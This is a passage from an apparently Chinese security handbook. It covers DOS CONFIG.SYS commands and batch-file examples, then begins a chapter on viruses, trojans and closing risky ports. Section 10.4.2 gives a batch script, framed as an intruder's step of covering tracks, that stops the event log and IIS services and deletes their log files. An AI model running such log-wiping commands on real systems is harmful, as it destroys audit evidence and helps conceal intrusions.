Device命令可以加载设备的驱动程序，从而使系统在启动后能使用某些设备，如可以加载鼠标驱动程序。在CONFIG.SYS文件中为鼠标安装一个设备驱动程序，该驱动程序为MOUSE.SYS，在C盘的MOUSE目录中。用户可在CONFIG.SYS文件中加入“DEVICE=C：\MOUSE\MOUSE.SYS/M/2”命令，其中参数/M/2的作用是将鼠标器处理成Microsoft Mouse，并把它安装在第二串行口COM2上。这样，每次启动计算机时，MS-DOS就会把鼠标驱动程序MOUSE.SYS装入内存，从而就可以驱动鼠标了。

（3）注意事项

MS-DOS6.22提供了一些标准设备驱动程序，如：ANSI.SYS、DISPLAY.SYS、DRIVE.SYS、DRVSPACE.SYS、EGA.SYS、EMM386.EXE、HIMEM.SYS、INTERLNK.EXE、POWER.EXE、RAMDRIVE.SYS、SETVER.EXE和SMARTDRV.EXE。

DOS装入的标准设备驱动程序有支持标准的屏幕、键盘、打印机、辅助设备、软盘和硬盘设备及实时钟表驱动程序等。DOS支持的上述设备不需用Device命令来指定。如果用户想扩充系统的设备（如鼠标及扫描仪等），则要用Device命令来定义扩充设备的驱动程序的名字。当DOS启动时，系统就能把这个文件装入内存，作为DOS的基本设备扩充。

若要安装此类设备驱动程序，可在Device命令中指定相应的路径和驱动程序文件名。

10.3.3　扩展键检查的Break命令

Break命令允许或禁止对组合键“Ctrl+C”或“Ctrl+Break”的检查。按下“Ctrl+C”组合键或“Ctrl+Break”组合键，即可结束一个程序或活动。通常MS-DOS只在进行读键盘、写屏幕或打印输入等操作时，才对“Ctrl+C”组合键或“Ctrl+Break”组合键进行检查，如将Break设置成on，即可将对“Ctrl+C”组合键或“Ctrl+Break”组合键的检查扩展到其他功能中（如磁盘读写操作等）。MS-DOS系统对Break命令的缺省设置是off。

（1）语法

Break命令的格式为：break[on|off]，其作用是显示当前Break的设置的状态。

在Config.sys文件中的语法格式为：Break=on|off。

·On：允许对“Ctrl+C”组合键的检查。

·Off：禁止对“Ctrl+C”组合键的检查。

（2）典型示例

Break命令的几种典型用法。

·如果只让MS-DOS在读键盘、写屏幕或打印输出时检测“Ctrl+C”组合键或“Ctrl+Break”组合键，则可在命令提示符下执行“Break off”命令。

·如果要让MS-DOS在执行读键盘、写屏幕或读写磁盘等操作时都检测“Ctrl+C”组合键或“Ctrl+Break”组合键，可在命令提示符下执行“Break on”命令。

·如果想检测目前BREAK的状态，可在命令提示符下执行“Break”命令。屏幕会以ON或OFF的形式显示当前Break的状态。

·如果要在每次启动计算机时将“Ctrl+C”组合键或“Ctrl+Break”组合键的检测功能开启，则应在Config.sys文件中包含“Break=on”命令：BREAK=ON

（3）注意事项

系统缺省的Break命令设置是off，若在Config.sys文件中使用Break命令，可以在每次启动系统时激活“Ctrl+C”组合键进行检查。

10.3.4　程序加载的Devicehigh命令

Devicehigh命令的用于将设备驱动程序加载到高端内存区域，这将为其他程序释放更多字节的常规内存。该命令只能用于Config.sys文件中。Devicehigh命令与Device命令相似，都可以把程序加载到内存中，区别在于Devicehigh命令是将程序加载到高端内存中，而Device命令则将程序加载到常规的内存中。

（1）语法

其命令格式为：

devicehigh=[Drive：][Path]FileName[dd-parameters]

devicehigh size=hexsize[Drive：][Path]FileName[dd-parameters]

·[Drive：][Path]FileName：指定要加载到高端内存区域的设备驱动程序的位置和名称。需要Filename。

·dd-parameters：指定设备驱动程序所需要的任何命令行信息。

·hexsize：指定在Devicehigh尝试将设备驱动程序加载到高端内存区之前，必须可用的最小内存（字节数，十六进制格式），必须同时使用size和hexsize，如第二个语法行所示。

（2）典型示例

要将名为Mydriv.sys的设备驱动程序加载到高端内存区之中，请在Config.sys或等价的启动文件中键入如下命令：

device=c:\winnt\system32\himem.sys

dos=umb 

devicehigh=mydriv.sys

（3）注意事项

要使用devicehigh命令，也必须在Config.sys或等价的启动文件中包含dos=umb命令。如果不指定dos=umb，则会将所有设备驱动程序加载到常规内存，就像使用Device命令一样。

要加载设备驱动程序到高内存区，计算机就必须有扩充内存。用户必须先使用Device命令安装himem.sys驱动程序，再安装高内存块支撑程序。

10.3.5　设置可存取文件数Files命令

Files命令用来指定一次可以打开的文件数目。DOS启动时，在内存中还保留了一个区域，用来记录当前打开的文件的信息。Files命令用于指定DOS可以同时打开的最大文件数量。这一数值指定得越大，所保留的内存空间就越大。

（1）语法

其命令格式为：Files＝n。其中n是8~255之间整数。它是指在任意给定时间中，DOS可以同时打开的最大文件个数（默认值为8）。在使用应用程序时，如果DOS提示“文件打开太多”的错误信息，则应在Config.sys中加大Files命令所设的数值。

（2）典型示例

如果要指定MS-DOS在同一时间可以存取30个文件，可以在Config.sys文件中加入“files=30”命令。

10.3.6　安装内存驻留程序的Install命令

Install命令的作用是在启动计算机时装入一个内存驻留程序，此命令也只能在Config.sys文件中使用。一旦把内存驻留程序装入到内存，只要计算机在运行，该驻留程序就会一直在内存中。当其他程序活动时，还可以使用内存驻留程序，用Install命令也可装入MS-DOS内存驻留程序，如Keyb、Nlsfune、share等。

（1）语法

其命令格式为：install=[Drive：][Path]fileName[command-parameters]

·[Drive：][Path]fileName：指定要运行的内存驻留程序的路径和名字。

·command-parameters：为要运行的内存驻留程序指定命令行参数。

（2）典型示例

如果想在config.sys文件中装入C盘NET目录中的share.exe文件，并且还需要share.exe文件最多可以跟踪40个文件和目录，则需要在Config.sys文件中加入“install=c：\net\share.exe c：=50”命令。

（3）注意事项

Install命令不为装入的程序生成环境，因此，用Install命令装入程序比在Autoexe.bat中启动稍微要少占用一些内存。但不要用install装入一些要使用的环境变量，或要求command.com处理有严重错误的程序。Config.sys的处理顺序是：执行完所有的device命令之后，在装入命令解释程序之前执行Install命令，所以用户可以在执行Device命令之前先装入内存驻留程序。

10.3.7　中断处理的Stacks命令

Stacks命令支持动态使用数据堆栈以处理中断，为处理硬件中断指定保留多少内存，同样，此命令也只能在Config.sys文件中应用。

当一个设备执行完一个I/O操作时，设备中断DOS将请求马上处理，而DOS会暂停当前任务，开始处理该设备的中断。由于DOS必须在处理中断时恢复原来执行的任务，所以第一个任务的有关信息将会被存放在内存中的一个指定位置上，这个位置就是堆栈。

Stacks命令的默认设置如表10-1所示。

表10-1　Stacks命令的默认设置

（1）语法

Stacks命令的语法格式为：stacks=n，s

·n：指定堆栈数量。合法值是0以及在8~64之间的数。

·s：指定每个堆栈的大小（以字节计）。合法值是0以及在32~512之间的数。

（2）典型示例

要分配8个512字节的堆栈用于硬件中断处理，在Config.sys文件中增加“Stacks=8，512”命令即可。

（3）注意事项

在使用Stacks命令时还需要注意如下3点：

·收到硬件中断时，MS-DOS就从指定数量的堆栈中分配一个堆栈。当为n和s指定0值时，MS-DOS不分配堆栈。如果值是0，每个运行的程序就必须有足够的堆栈空间给计算机硬件中断驱动程序使用。当n和s的值指定为0时，许多计算机都能操作正确，就为应用程序保留了内存空间，但当计算机变得不稳定时，就应设回到默认值。

·若堆栈的值不是0且看到“Stack Overflow”或“Exception error 12”信息，则应增加堆栈的大小和数量。

·DOS每处理一个中断后，都会从现有堆栈中分配出一块区域以存放有关信息。由于计算机的类型和硬件设备的不同，有时会在很短时间内产生过多的中断，从而使堆栈空间溢出、系统挂起，所以堆栈越小越好。

10.3.8　扩充内存管理程序Himem.sys

Himem是一个扩展内存管理的程序，用来管理扩展内存和高端内存区（HMA），以保证不同的应用程序或设备驱动程序不会同时使用同一块内存。

在Config.sys文件中为Himem.sys加入<DEVICE>命令，即可安装Himem。Himem.sys命令行必须在所有使用扩展内存的应用程序或设备驱动程序命令行的前面。例如，Himem.sys命令行必须在Emm386.exe命令行的前面。大多数情况下不必指定命令行选项。Himem.sys的默认值适合大多数硬件。

1.命令格式

语法格式：DEVICE=[drive：][path]Himem.sys[/A20CONTROL：ON|OFF][/CPUCLOCK：ON|OFF][/EISA][/Hmain=m][/INT15=xxxx][/NUMHANDLES=n][/MACHINE：xxxx][/SHADOWRAM：ON|OFF][/TESTMEM：ON|OFF][/VERBOSE]

2.参数介绍

·[drive：][path]：指定Himem.sys文件的位置，Himem.sys应该和MS-DOS文件在同一个驱动器上。若Himem.sys在启动驱动器的根目录下，则不必指定路径，但必须给出完整的文件名Himem.sys。

·/A20CONTROL：ON|OFF：指定当Himem装入时，若A20线已打开，Himem是否还要控制A20线。控制A20线可以存取HMA。若指定/A20CONTROL：OFF，则当Himem装入时若A20线未打开，Himem才控制A20线。默认设置是/A20CONTROL：ON。

·/CPUCLOCK：ON|OFF：指出Himem是否影响计算机的时钟速度。若安装Himem后，计算机时钟速度改变，则需指定/CPUCLOCK：ON解决。但指定此开关会降低Himem的速度。默认设置是/CPUCLOCK：OFF。

·/EISA：指定Himem应该分配所有可用的扩展内存。此开关仅需在有多于16 MB内存的EISA计算机上使用，在其他计算机上，Himem自动分配所有可用的扩展内存。

·/Hmain=m：指定应用程序申请可以分配的最小HMA。同一时刻只有一个应用程序可以使用HMA。Himem将HMA分配给第一个符合此开关设置的应用程序。m取值范围为0~63 KB。

将/Hmain设置为使用最大HMA的应用程序所用的内存量。该开关不是必需的。/Hmain默认值为0。省略此选项（或将m设为0）时，Himem将HMA分配给第一个申请HMA的应用程序，而不管此程序要使用的HMA大小。当Windows运行在386增强模式时/Hmain选项不起作用。

·/INT15=xxxx：为中断15h接口保留的扩展内存量（以KB为单位）。某些旧应用程序不使用Himem提供的XMS方法，而使用中断15h接口来分配扩展内存。使用这些应用程序时，可以将xxxx设置为比应用程序所需的扩展内存量小64 KB。xxxx的取值可以为64~65535，但不能超过系统所有的扩展内存量。xxxx取值最小为64，否则会被认为是默认值0。

·/NUMHANDLES=n：指定可以同时使用的扩展内存块（EMB）句柄数量。n取值可为1~128，默认值为32。每一个句柄需要6字节内存。当Windows以386增强模式运行时，此选项不起作用。

·/MACHINE：xxxx：指定使用的计算机类型。通常Himem能检测出计算机类型，但有些计算机Himem却检测不出。在这些系统上，Himem使用默认的系统类型。若Himem不能检测出计算机类型且不能正常工作，则需要指定此选项。

10.4　用BAT编程实现综合应用

入侵者常常通过编写批处理文件来实现多种入侵的功能，同样，大家在平时也可以用批处理文件来实现一些常见的操作，如系统加固、删除日志以及删除系统中的垃圾文件等。

10.4.1　系统加固

通过批处理文件可以实现系统加固，即关闭一些不必要的服务和功能，也可以给“入侵目标主机”打补丁，从而实现增加主机安全性的目的。

系统加固的批处理文件代码如下：

@echo Windows Registry Editor Version 5.00 >patch.dll 

@echo[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]

>>patch.dll 

@echo "AutoShareServer"=dword:00000000 >>patch.dll 

@echo "AutoShareWks"=dword:00000000 >>patch.dll 

@REM [ 禁止共享 ] 

@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>patch.dll 

@echo "restrictanonymous"=dword:00000001 >>patch.dll 

@REM [ 禁止匿名登录 ] 

@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters] >> patch.dll

@echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll 

@REM [ 禁止文件访问和打印共享 ] 

@echo[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\@REMoteRegistry] >>

patch.dll 

@echo "Start"=dword:00000004 >>patch.dll 

@echo[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule]>>patch.dll

@echo "Start"=dword:00000004 >>patch.dll 

@echo[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon]>> patch.dll 

@echo "ShutdownWithoutLogon"="0" >>patch.dll 

@REM [ 禁止登录前关机 ] 

@echo "DontDisplayLastUserName"="1" >>patch.dll 

@REM [ 禁止显示前一个登录用户名称 ] 

@regedit /s patch.dll

上述代码只完成了一些最基本的保护措施，在完成一个功能之后有相关的功能说明，其中用到了注册表项，有关注册表的内容可以参考一些相关的资料。

10.4.2　删除日志

入侵的一个重要步骤就是清除脚印（即清除自己的历史痕迹），删除日志中的内容必不可少，使用批处理文件清除日志可以达到明显的效果。

在批处理文件中可以删除日志的代码如下：

@regedit /s patch.dll 

@net stop w3svc 

@net stop event log 

@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q 

@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q 

@del c:\winnt\system32\config\*.event /f /q 

@del c:\winnt\system32dtclog\*.* /f /q 

@del c:\winnt\*.txt /f /q 

@del c:\winnt\*.log /f /q 

@net start w3svc 

@net start event log 

@rem [ 删除日志 ]

上述代码首先关闭了日志记录功能，然后对日志进行清除，清除完毕后重新打开日志的记录功能。

10.4.3　删除系统中的垃圾文件

利用批处理代码可以快速地清除系统中的垃圾文件，从而提高计算机运行速度。

在批处理文件中删除系统垃圾文件的具体代码如下：

@echo off 

echo  正在清除系统垃圾文件，请稍等 ...... 

del /f /s /q %systemdrive%\*.tmp 

del /f /s /q %systemdrive%\*._mp 

del /f /s /q %systemdrive%\*.log 

del /f /s /q %systemdrive%\*.gid 

del /f /s /q %systemdrive%\*.chk 

del /f /s /q %systemdrive%\*.old 

del /f /s /q %systemdrive%\recycled\*.* 

del /f /s /q %windir%\*.bak 

del /f /s /q %windir%\prefetch\*.* 

rd /s /q %windir%\temp & md %windir%\temp 

del /f /q %userprofile%\cookies\*.* 

del /f /q %userprofile%\recent\*.* 

del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*" 

del /f /s /q "%userprofile%\Local Settings\Temp\*.*" 

del /f /s /q "%userprofile%\recent\*.*" 

echo  清除系统垃圾完成，请检查浏览器是否已正常打开！  

echo. & pause

上述代码记录了删除系统垃圾文件的过程，在删除系统中垃圾文件之后，将会给出“清除系统垃圾完成”的提示信息。

10.5　可能出现的问题与解决方法

1）在使用批处理文件前需要先制作相应的文件，应该如何制作批处理文件呢？

解答：扩展名是bat（在Windows NT/2000/XP/2003系统下也可以是cmd）的文件就是批处理文件。在制作批处理文件时，批处理文件的每一行都是一条DOS命令（大部分时候就好像在DOS提示符下执行的命令行一样），可以使用DOS下的Edit菜单项或Windows的记事本（notepad）等任何文本文件编辑工具，创建和修改批处理文件。

此外，批处理文件还是一种简单的程序，可以通过条件语句（if）和流程控制语句（goto）来控制命令运行的流程，在批处理中也可以使用循环语句（for）来循环执行一条命令。当然，批处理文件的编程能力与C语言等编程语句比起来十分有限，也十分不规范。批处理的程序语句就是一条条DOS命令（包括内部命令和外部命令），而批处理能力主要取决于所使用的命令。每个编写好的批处理文件都相当于一个DOS外部命令，可以将其所在的目录放到DOS搜索路径（path）中，使得它可以在任意位置运行。

最后，在DOS和Windows 9x/Me系统下，C：盘根目录下的Autoexec.bat批处理文件是自动运行批处理文件，每次系统启动时会自动运行该文件，可以将系统每次启动时都要运行的命令放入该文件中，例如设置搜索路径，调入鼠标驱动和磁盘缓存，设置系统环境变量等。

2）如何解决计算机出现Windows系统使用不了、游戏报告内存不够、光驱找不到、无法连接网络等错误？

解答：出现这种错误的原因在于Config.sys文件出现了问题，需要重新设置这个文件。计算机在启动时会自动寻找Config.sys文件，如果没有找到，系统将按默认方式运行。但这种默认方式在大部分情况下都不是最适合计算机使用的，所以应对系统进行设置，比如设置对扩展内存的使用，加载光驱驱动程序等。Config.sys是文本文件，可以用任何编辑器编辑修改。如果增添、更改或删除Config.sys文件中的任一配置命令，则这种改变只在下一次启动DOS时才有效。

3）批处理Autoexec.bat文件在C盘下默认显示不出来，应该如何对其进行查看？

解答： Autoexec.bat文件在C盘下默认是不显示出来的，需要在“文件夹选项”中取消选中“隐藏受保护的操作系统文件”复选框和选择“显示所有文件和文件夹”单选按钮。即可显示出来。

4）如果注册表被恶意代码锁定，用户一般会采取恢复注册表的方法来解除锁定，如何使用批处理文件的方法来解决呢？

解答：如果注册表被恶意代码锁定，用户一般会采取恢复注册表的方法来解除锁定。其实，还有一种简单的方法，就是运行如下内容的批处理文件。

@reg add "HKEY_CURRENT_USER\Software\Microsoft\windows\CurrentVersion\Policie\ system" /v DisableRegistryTools /t reg_dword /d 00000000 /f

Start regedit

10.6　总结与经验积累

批处理文件是DOS命令的批量和技巧性应用，DOS命令的精华在批处理文件中可以得到充分体现。利用批处理文件，可在Windows系统和DOS系统下快速完成需要的操作。很多批处理文件可直接拿过来应用，也可动手编写自己需要的批处理文件。

通过学习批处理文件的相关内容，读者可以了解如何在Windows中编辑批处理文件、配置文件过程中常用的命令，以及利用批处理文件实现一些常见的计算机维护工作，如系统加固、删除日志、删除系统中的垃圾文件等。

本章介绍了批处理文件的编写方法，还给出了两个综合利用的实例和使用批处理文件进行相应系统与网络维护的操作。批处理文件虽不是防御黑客入侵必备的，但较好地掌握批处理文件的相关知识，将会大大地提高防御入侵者的几率。

第11章　病毒木马的主动防御和清除

很多用户在上网的时候都遇到木马病毒攻击的情况，尽管这些计算机里已经安装了杀毒软件，但没有对系统进行全面的维护，下面将介绍各种防御和清除木马病毒的方法，了解了这些方法，不仅可以省去查杀木马的烦琐，而且还可以保证系统安全。

主要内容：

●认识病毒和木马

●用防火墙隔离系统与病毒

●木马清除软件的使用

●总结与经验积累

●关闭危险端口

●杀毒软件的使用

●可能出现的问题与解决方法

11.1　认识病毒和木马

目前计算机病毒和木马在形式上越来越难以辨别，造成的危害也日益严重，所以要求网络防毒产品在技术上更先进，功能上更全面。

11.1.1　病毒知识入门

1.计算机病毒的特点

一般计算机病毒具有如下几个共同的特点：

1）程序性（可执行性）：计算机病毒与其他合法程序一样，是一段可执行程序，但它不是一个完整的程序，而是寄生在其他可执行程序上，所以它享有该程序所能得到的权力。

2）传染性：传染性是病毒的基本特征，计算机病毒会通过各种渠道从已被感染的计算机扩散到未被感染的计算机。病毒程序代码一旦进入计算机并被执行，就会自动搜寻其他符合其传染条件的程序或存储介质，确定目标后再将自身代码插入其中，实现自我繁殖。

3）潜伏性：一个编制精巧的计算机病毒程序，进入系统之后一般不会马上发作，可以在一段很长时间内隐藏在合法文件中，对其他系统进行传染，而不被人发现。

4）可触发性：是指病毒因某个事件或数值的出现，诱使病毒实施感染或进行攻击的特性。

5）破坏性：系统被病毒感染后，病毒一般不会立刻发作，而是潜藏在系统中，等条件成熟后，便会发作，给系统带来严重的破坏。

6）主动性：病毒对系统的攻击是主动的，计算机系统无论采取多么严密的保护措施，都不可能彻底地排除病毒对系统的攻击，而保护措施只是一种预防的手段。

7）针对性：计算机病毒是针对特定的计算机和特定的操作系统的。

2.病毒的3个基本结构

计算机病毒本身的特点是由其结构决定的，所以计算机病毒在其结构上有共同性。计算机病毒一般包括引导模块、传染模块和表现（破坏）模块三大功能模块，但不是任何病毒都包含这三个模块。传染模块的作用是负责病毒的传染和扩散，而表现（破坏）模块则负责病毒的破坏工作，这两个模块各包含一段触发条件检查代码，当各段代码分别检查出传染和表现或破坏触发条件时，病毒就会进行传染和表现或破坏。触发条件一般由日期、时间、某个特定程序、传染次数等多种形式组成。

1）对于寄生在磁盘引导扇区的病毒，病毒引导程序占有了原系统引导程序的位置，并把原系统引导程序搬移到一个特定的地方。系统一启动，病毒引导模块就会自动地载入内存并获得执行权，该引导程序负责将病毒程序的传染模块和发作模块装入内存的适当位置，并采取常驻内存技术以保证这两个模块不会被覆盖，再对这两个模块设定某种激活方式，使之在适当时候获得执行权。处理完这些工作后，病毒引导模块将系统引导模块装入内存，使系统在带病毒状态下运行。

对于寄生在可执行文件中的病毒，病毒程序一般通过修改原有可执行文件，使该文件在执行时先转入病毒程序引导模块，该引导模块也可完成把病毒程序的其他两个模块驻留内存及初始化的工作，把执行权交给执行文件，使系统及执行文件在带毒的状态下运行。

2）对于病毒的被动传染而言，是随着复制磁盘或文件工作的进行而进行传染的。而对于计算机病毒的主动传染而言，其传染过程是：在系统运行时，病毒通过病毒载体即系统的外存储器进入系统的内存储器、常驻内存，并在系统内存中监视系统的运行。

在病毒引导模块将病毒传染模块驻留内存的过程中，通常还要修改系统中断向量入口地址（例如INT 13H或INT 21H），使该中断向量指向病毒程序传染模块。这样，一旦系统执行磁盘读写操作或系统功能调用，病毒传染模块就被激活，传染模块在判断传染条件满足的条件下，利用系统INT 13H读写磁盘中断把病毒自身传染给被读写的磁盘或被加载的程序，也就是实施病毒的传染，再转移到原中断服务程序执行原有的操作。

3）计算机病毒的破坏行为体现了病毒的杀伤力。病毒破坏行为的激烈程度，取决于病毒作者的主观愿望和其所具有的技术能量。

数以万计、不断发展扩张的病毒，其破坏行为千奇百怪，不可能穷举其破坏行为，难以做全面的描述。病毒破坏目标和攻击部位主要有系统数据区、文件、内存、系统运行、运行速度、磁盘、屏幕显示、键盘、扬声器、打印机、CMOS、主板等。

3.病毒的工作流程

计算机系统的内存是一个非常重要的资源，所有的工作都需要在内存中运行。病毒一般都是通过各种方式把自己植入内存，获取系统最高控制权，感染在内存中运行的程序。

计算机病毒的完整工作过程应包括如下几个环节：

1）传染源：病毒总是依附于某些存储介质，如软盘、硬盘等构成传染源。

2）传染媒介：病毒传染的媒介由其工作的环境来决定的，可能是计算机网络，也可能是可移动的存储介质，如U盘等。

3）病毒激活：是指将病毒装入内存，并设置触发条件。一旦触发条件成熟，病毒就开始自我复制到传染对象中，进行各种破坏活动等。

4）病毒触发：计算机病毒一旦被激活，立刻就会发生作用，触发的条件是多样化的，可以是内部时钟、系统的日期、用户标识符，也可能是系统一次通信等。

5）病毒表现：表现是病毒的主要目的之一，有时在屏幕显示出来，有时则表现为破坏系统数据。凡是软件技术能够触发到的地方，都在其表现范围内。

6）传染：病毒的传染是病毒性能的一个重要标志。在传染环节中，病毒复制一个自身副本到传染对象中去。计算机病毒的传染是以计算机系统的运行及读写磁盘为基础的。没有这样的条件计算机病毒是不会传染的。只要计算机运行就会有磁盘读写动作，病毒传染的两个先决条件就很容易得到满足。系统运行为病毒驻留内存创造了条件，病毒传染的第一步是驻留内存，一旦进入内存之后，就会寻找传染机会，寻找可攻击的对象，判断条件是否满足，决定是否可传染，当条件满足时进行传染，将病毒写入磁盘系统。

11.1.2　木马的组成与分类

木马与计算机网络中常常要用到的远程控制软件有些相似，通过一段特定的程序（木马程序）来控制另一台计算机，从而窃取用户资料、破坏用户的计算机系统等。

1.木马的组成

一个完整的木马由3部分组成：硬件部分、软件部分和具体连接部分。这3部分分别有着不同的功能。

（1）硬件部分

硬件部分是指建立木马连接必需的硬件实体，包括控制端、服务端和Internet三部分。

控制端：对服务端进行远程控制的一端。

服务端：被控制端远程控制的一端。

Internet：是数据传输的网络载体，控制端通过Internet远程控制服务端。

（2）软件部分

软件部分是指实现远程控制所必需的软件程序，主要包括控制端程序、服务端程序、木马配置程序3部分。

·控制端程序：控制端用于远程控制服务端的程序。

·服务端程序：又称为木马程序。它潜藏在服务端内部，向指定地点发送数据，如网络游戏的密码，即时通信软件密码和用户上网密码等。

·木马配置程序：设置木马程序的端口号、触发条件、木马名称等属性，使得服务端程序在目标端口中潜藏得更加隐蔽。

（3）具体连接部分

具体连接部分是指通过Internet在服务端和控制端之间建立一条木马通道所必需的元素，包括控制端/服务端IP和控制端/服务端端口两部分。

·控制端/服务端IP：木马控制端和服务端的网络地址，是木马传输数据的目的地。

·控制端/服务端端口：木马控制端和服务端的数据入口，通过这个入口，数据可以直达控制端程序或服务端程序。

2.木马的分类

随着计算机技术的发展，木马程序技术也发展迅速。现在的木马已经不仅仅具有单一的功能，而是集多种功能于一身。根据木马功能的不同我们将其划分为破坏型木马、远程访问型木马、密码发送型木马、键盘记录木马、DOS攻击木马等。

（1）破坏型木马

这种木马的唯一功能就是破坏并且删除计算机中的文件，非常危险，一旦被感染就会严重威胁到计算机的安全。不过像这种恶意破坏的木马，黑客也不会随意传播。

（2）远程访问木马

这种木马是一种使用很广泛并且危害很大的木马程序。它可以远程访问并且直接控制被入侵的计算机，从而任意访问该计算机中的文件，获取计算机用户的私人信息，例如银行账号、密码等。

（3）密码发送型木马

这是一种专门用于盗取目标计算机中密码的木马文件。有些用户为了方便使用Windows的密码记忆功能进行登录，从而不必每次都输入密码，有些用户喜欢将一些密码信息以文本文件的形式存放于计算机中，这样确实为用户带来了一定方便，但是却正好为密码发送型木马带来了可趁之机，它会在用户未曾发觉的情况下，搜集密码发送到指定的邮箱，从而达到盗取密码的目的。

（4）键盘记录木马

这种木马非常简单，通常只做一件事，就是记录目标计算机键盘敲击的按键信息，并且在LOG文件中查找密码。该木马可以随着Windows的启动而启动，并且有在线记录和离线记录两个选项，从而记录用户在在线和离线状态下敲击键盘的按键情况，从而从中提取密码等有效信息。当然这种木马也有邮件发送功能，需要将信息发送到指定的邮箱中。

（5）DOS攻击木马

随着DOS攻击的广泛使用，DOS攻击木马使用得也越来越多。黑客入侵一台计算机后，在该计算机上种上DOS攻击木马，那么以后这台计算机也会成为黑客攻击的帮手。黑客通过扩充控制肉鸡的数量来提高DOS攻击的成功率。所以这种木马不是致力于感染一台计算机，而是通过它攻击一台又一台计算机，从而造成很大的网络伤害并且带来损失。

11.2　关闭危险端口

计算机的网络安全问题一直困扰着每一个上网的用户，因为在网络上随时都有可能会让自己的机器受到他人的攻击，为了避免受干扰，应该先自动优化好自己的IP，再关闭那些危险的端口，并对系统的安全性进行完善设置，从而保障计算机网络的安全性。

11.2.1　通过安全策略关闭危险端口

默认情况下，Windows有很多端口是开放的，在用户上网时，网络病毒和黑客可以通过这些端口连上用户的计算机。为了让计算机的系统变得更加安全，应该封闭这些端口，主要有TCP 135、139、445、593、1025端口和UDP 135、137、138、445端口，一些流行病毒的后门端口（如TCP 2745、3127、6129端口）以及远程服务访问端口3389。

1.利用服务工具关闭端口

在Windows系统中关闭端口的具体操作步骤如下：

步骤1：打开“服务”窗口，查看多种服务项目，如图11-1所示。

图11-1　查看多种服务项目

步骤2：选定要关闭的服务，右击该服务在弹出的列表中单击“属性”选项，如图11-2所示。

图11-2　单击“属性”选项

步骤3：启动类型设置。在“启动类型”下拉列表中选择“禁用”选项，然后单击“停止”按钮。服务停止后单击“确定”按钮，如图11-3所示。

步骤4：可以看到该服务启动类型已标记为“禁用”，状态栏也不再标记“已启动”，如图11-4所示。

2.利用优化大师来关闭端口

如果对本地计算机后台服务不是很了解，则可利用“设置向导”来完成后台服务的定制。

具体的操作步骤如下：

图11-3　启动类型设置

图11-4　已标记为“禁用”

步骤1：在网上下载Windows优化大师，安装成功后在主窗口右边的列表中选择“后台服务优化”选项卡，如图11-5所示。

步骤2：在优化后台服务窗口右下角单击“设置向导”按钮，即可打开服务设置向导窗口，如图11-6所示。

步骤3：单击“下一步”按钮，在服务设置向导窗口中将会出现两个单选按钮，如图11-7所示。选择“自动设置”单选按钮，Windows优化大师则按科学的推荐配置对后台服务进行自动设置，依次单击“下一步”按钮，即可完成设置。

步骤4：因为要进行关闭端口的设置，所以选择“自定义设置”单选按钮之后，单击“下一步”按钮，即可打开“自定义设置”窗口，在其中设置各个选项，如图11-8所示。

步骤5：在完成设置之后，单击“下一步”按钮，即可打开“服务设置向导完成”对话框。单击“完成”按钮，即可完成对本地计算机端口及服务的设置。

与利用管理工具关闭端口的原理相似，其本质也是通过关闭相关的系统服务，来达到关闭相关端口的目的。

利用Windows优化大师关闭端口的具体操作步骤如下：

图11-5　Windows优化大师“系统优化”选项卡

图11-6　服务设置向导窗口

图11-7　单选窗口

图11-8　自定义设置窗口

步骤1：选择“开始”→“程序”→“Windows优化大师”菜单项，即可打开“Windows优化大师”主窗口，如图11-9所示。

步骤2：在“Windows优化大师”窗口左侧，选择“系统优化”→“后台服务优化”菜单项，即可打开对Windows系统服务设置的“后台服务优化”窗口，如图11-10所示。

图11-9　“Windows优化大师”主窗口

图11-10　“后台服务优化”窗口

步骤3：在选中要关闭端口相对应的后台服务选项之后，单击“停止服务”按钮，如图11-11所示。打开“停止服务”提示框，选择“确定”按钮，即可停止选定的该项服务。

图11-11　停止后台服务

11.2.2　自动优化IP安全策略

随着网络的普及，用户对网络知识认知的提高，很多人喜欢在网上下载一些黑客工具或使用Ping命令，进行扫描端口和寻找“肉鸡”，从而达到入侵计算机的目的。

Ping命令可以向指定的地址发送一个小的数据包，然后侦听这台机器是否有“回答”。查找现在哪些机器在网络上活动。使用Ping入侵即是ICMP入侵，其原理是通过Ping命令，在一个时段内连续向计算机发出大量请求，使得计算机的CPU占用率达到100%，而导致系统死机、甚至崩溃。

其实，用户只要安装和设置防火墙即可有效预防Ping命令，但防火墙并不是每一台计算机都会去装，还需要考虑资源占用和设置技巧。针对某些配置不是很高的主机，为了避免再给防火墙占用资源，手工在系统中设置安全策略是比较明智的。

例如3389端口是一个危险的端口，但是系统默认该端口为开启，用户可通过使用IP策略阻止访问该端口，具体操作步骤如下。

步骤1：打开“管理工具”窗口，双击“本地安全策略”选项，如图11-12所示。

图11-12　双击“本地安全策略”选项

步骤2：创建IP安全策略。右击“IP安全策略在本地计算机”选项，在弹出的列表中单击“创建IP安全策略”选项，如图11-13所示。

图11-13　单击“创建IP安全策略”选项

步骤3：打开“IP安全策略向导”对话框，单击“下一步”按钮，如图11-14所示。

步骤4：输入安全策略名称以及描述信息，单击“下一步”按钮，如图11-15所示。

图11-14　“IP安全策略向导”对话框

图11-15　输入安全策略名称以及描述信息

步骤5：打开“安全通信请求”对话框，取消勾选“激活默认相应规则”复选框，单击“下一步”按钮，如图11-16所示。

步骤6：完成IP安全策略的创建。取消勾选“编辑属性”复选框，单击“完成”按钮，如图11-17所示。

图11-16　取消勾选“激活默认相应规则”复选框

图11-17　取消勾选“编辑属性”复选框

步骤7：右击“IP安全策略”选项，在弹出的列表中单击“管理IP筛选器列表和筛选器操作”选项，如图11-18所示。

步骤8：进入“管理IP筛选器列表”选项卡，单击“添加”按钮，如图11-19所示。

步骤9：添加指定名称的筛选器。输入筛选器名称，单击“添加”按钮，如图11-20所示。

步骤10：打开“IP筛选器向导”对话框，单击“下一步”按钮，如图11-21所示。

